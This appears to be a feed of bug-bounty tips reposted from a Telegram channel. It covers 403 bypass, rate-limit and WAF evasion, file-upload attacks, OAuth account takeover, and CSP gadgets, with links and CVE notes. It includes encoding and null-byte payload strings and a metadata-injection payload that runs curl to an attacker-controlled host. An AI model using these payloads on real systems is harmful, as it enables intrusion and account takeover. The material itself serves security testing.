IRSentinel

✎ Bypass 403 Forbidden with HTTP Headers Fuzzing I’ve analyzed numerous tools, blogs, tweets, and other resources on bypassing #403 #Forbidden errors using HTTP Headers #Fuzzing techniques. After extensive research, I’ve compiled a list of headers you can fuzz to potentially #bypass 403 restrictions. • HTTP Headers List: GitHub #bugbounty #403bypass #HTTP ⭐️@IRSentinels

✎ Common Rate Limit Bypass Techniques IP Spoofing Altering a request’s source IP to appear from another device, and rotating IPs lets an attacker bypass per-IP limits. You can use the following Burp Extensions for IP Spoofing: • BurpFakeIP: GitHub • IP-Rotate: GitHub Changing User-Agent Rate-limit systems often track the User-Agent header; changing or randomizing it makes requests appear from different clients, and attackers may brute-force the User-Agent field (e.g., with tools like Burp Suite Intruder). Header Manipulation Header manipulation alters HTTP headers (e.g., X-Forwarded-For, X-Real-IP) to trick servers — bypassing IP restrictions, evading rate limits, or hiding the real IP from logs and filters. • Common Headers by 🕷Spix0r Requesting with Different HTTP Methods Some rate-limiters monitor only certain HTTP methods (e.g., GET/POST); attackers may bypass them by sending requests with other methods (PUT, DELETE, OPTIONS) and testing alternatives (e.g., with Burp Suite Repeater). • HTTP request methods Parameter Name Variation Some backends accept alternate parameter names and still process requests, enabling attackers to bypass input filters, WAFs, or login restrictions. username=admin&password=1234 user=admin&pass=1234 uname=admin&pwd=1234 login=admin&passwd=1234 u=admin&p=1234 email=admin&key=1234 id=admin&token=1234 Encoding Tricks Encoding represents characters in different formats; attackers use encoding to obfuscate payloads and bypass input filters, WAFs, or validation rules. user=admin%20 # space after admin user=admin%00 # null byte injection user=%61%64%6d%69%6e # 'admin' in hex user=ad%6Din # only 'm' is encoded user=%2561%2564%256d%2569%256e # double-encoded 'admin' Case Sensitivity and Font Tricks Case or character-variant changes in strings (emails, usernames, paths) can let attackers bypass security checks or exploit improper validation. Email: Test@Example.com # Mixed case Email: test@example.com # Lowercase Email: TEST@example.com # Uppercase Using Look-Alike Characters Email: t3st@3xample.com # '3' instead of 'e' Email: t@est@example.com # Replacing 'l' with 'I' or vice versa Blank Characters Inserting spaces, null bytes, or invisible characters (e.g., TAB, CRLF) can bypass filters, break input validation, or exploit server input handling. email=" test@example.com " # Adding spaces at the beginning and end email=test@example.com%20 # Adding a space encoded as %20 email=test@example.com%E2%80%8B # Injecting a zero-width space email=test@example.com%09 # Tab character email=test@example.com%0A # Newline character #bugbounty #ratelimit © T.me/IRSentinels

✎ Burp Extension for API Testing in JS-Rich Targets This tool helps identify endpoints, files, internal emails, and some secrets hidden in minified JavaScript, achieving maximum efficiency while minimizing noise in the results. • Repository: Github #bugbounty #recon #javascript #burp ⭐️@IRSentinels

✎ IP Spoofing to Account Takeover: You Patched It? Really? In my previous article, I described how I found a security flaw in a popular desktop app's OAuth flow that allowed me to steal any user's account with just one click. I reported it, saw it patched, and then bypassed the patch again. Since the process of bypassing and exploiting the flaw is interesting to me, I decided to write a second article about it. • Blog: IP Spoofing to Account Takeover #bugbounty #ipspoofing #oauth ⭐️ @IRSentinels

Exploiting HTTP Parser Inconsistencies: ACL Bypasses, SSRF, and Cache Poisoning Original text: “Exploiting HTTP Parsers Inconsistencies” — Rafa, Rafa’s Security Researches (research conducted December 2021 – April 2022). Code blocks, tables and figures below are reproduced verbatim with attribution captions. Executive Summary HTTP is the connective tissue of the modern web, but the specification leaves enough ambiguity that no two parsers agree on every edge… https://core-jmp.org/2026/07/exploiting-http-parser-inconsistencies/ برید بخونید خیلی خفنه

🗒 File Upload Vulnerabilities — Attacker's Cheat Sheet Offensive checklist for testing upload endpoints — from filename tricks to full RCE. 🫆 Filename attacks: SSRF via filename, RTLO extension spoofing, XSS/SQLi/RCE/LFI payloads in filename 🫆 Extension/MIME bypass: double extensions, case mixing, null byte injection, special chars, duplicate Content-Type/filename fields 🫆 Content exploitation: ImageTragick (RCE/SSRF/LFI), XXE via XML/SVG, HLS SSRF/LFI (.m3u8), PHP/JSP/ASP/Perl/ColdFusion shells, GIF+PHP polyglots, EXIF metadata shells & stored XSS 🫆 Server tricks: NTFS ADS, Windows reserved names, .htaccess/web.config/httpd.conf upload, ZIP symlink LFI 🫆 Post-upload: race conditions bypassing MIME filters, leaked access tokens, SSRF via upload-by-URL, IP disclosure via IPLogger @IRSentinels

CVE-2026-41940 cPanel and WHM versions after 11.40 contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized access to the control panel.

MCP Client OAuth Refresh-Token Support Matrix (June 2026) https://redcaller.com/docs/references/mcp-client-oauth-refresh-token-support

How Can Found a Critical OAuth Misconfiguration That Led to Account Takeover https://medium.com/@iamshafayat/how-i-found-a-critical-oauth-misconfiguration-that-led-to-account-takeover-abfec43eaea6

MeshCentral: From XSS to RCE https://techanarchy.net/meshcentral-from-xss-to-rce/

How to use Claude Code for Bug Bounty: find fast, validate manually https://www.yeswehack.com/learn-bug-bounty/llm-series-claude

https://x.com/wadgamaraldeen/status/2079244138541711720?s=52

🗒 File Upload Vulnerabilities — Attacker's Cheat Sheet Offensive checklist for testing upload endpoints — from filename tricks to full RCE. 🫆 Filename attacks: SSRF via filename, RTLO extension spoofing, XSS/SQLi/RCE/LFI payloads in filename 🫆 Extension/MIME bypass: double extensions, case mixing, null byte injection, special chars, duplicate Content-Type/filename fields 🫆 Content exploitation: ImageTragick (RCE/SSRF/LFI), XXE via XML/SVG, HLS SSRF/LFI (.m3u8), PHP/JSP/ASP/Perl/ColdFusion shells, GIF+PHP polyglots, EXIF metadata shells & stored XSS 🫆 Server tricks: NTFS ADS, Windows reserved names, .htaccess/web.config/httpd.conf upload, ZIP symlink LFI 🫆 Post-upload: race conditions bypassing MIME filters, leaked access tokens, SSRF via upload-by-URL, IP disclosure via IPLogger @IRSentinels

Full Account Takeover(ATO) https://medium.com/@bag0zathev2/from-a-hey-name-banner-to-full-account-takeover-chaining-4-bugs-through-a-rewards-webview-f89a2b0f830f

Subdomain Takeover: One of the Most Misunderstood Bug Bounty Vulnerabilities https://brutsecurity.medium.com/f4a64b192d55 ⭐️@IRSentinels

file upload extension bypass for RCE ❌ metadata injection for RCE ✅ File upload vulnerability not just bypassing extension, metadata can be exploited. you can try like: {"Title\n-if\nsystem('curl burplink)||1\n-Comment":"x"} #bugbounty #bugbountytips ⭐️@IRSentinels

‼️ CVE-2026-3891: A critical Unauthenticated Arbitrary File Upload vulnerability found in the Pix for WooCommerce WordPress plugin in versions up to and including 1.5.0. PoC: https://github.com/m4sh-wacker/CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit ⭐️@IRSentinels

https://x.com/realraminfp/status/2078724807336567271?s=52

If you find an XSS but CSP blocks inline JavaScript and only allows scripts from self don't stop there Look for JavaScript gadgets already hosted by the application Since these scripts are trusted by CSP they can still be loaded and executed. for example if the application contains code like this: const page = new URLSearchParams(location.search).get("page"); import(`/modules/${page}.js`); and you can control the page parameter, you may be able to abuse existing JavaScript modules on the same origin The goal is not to bypass CSP by loading a new script, but to abuse trusted application code to execute unintended behavior or manipulate the application's logic ⭐️ @IRSentinels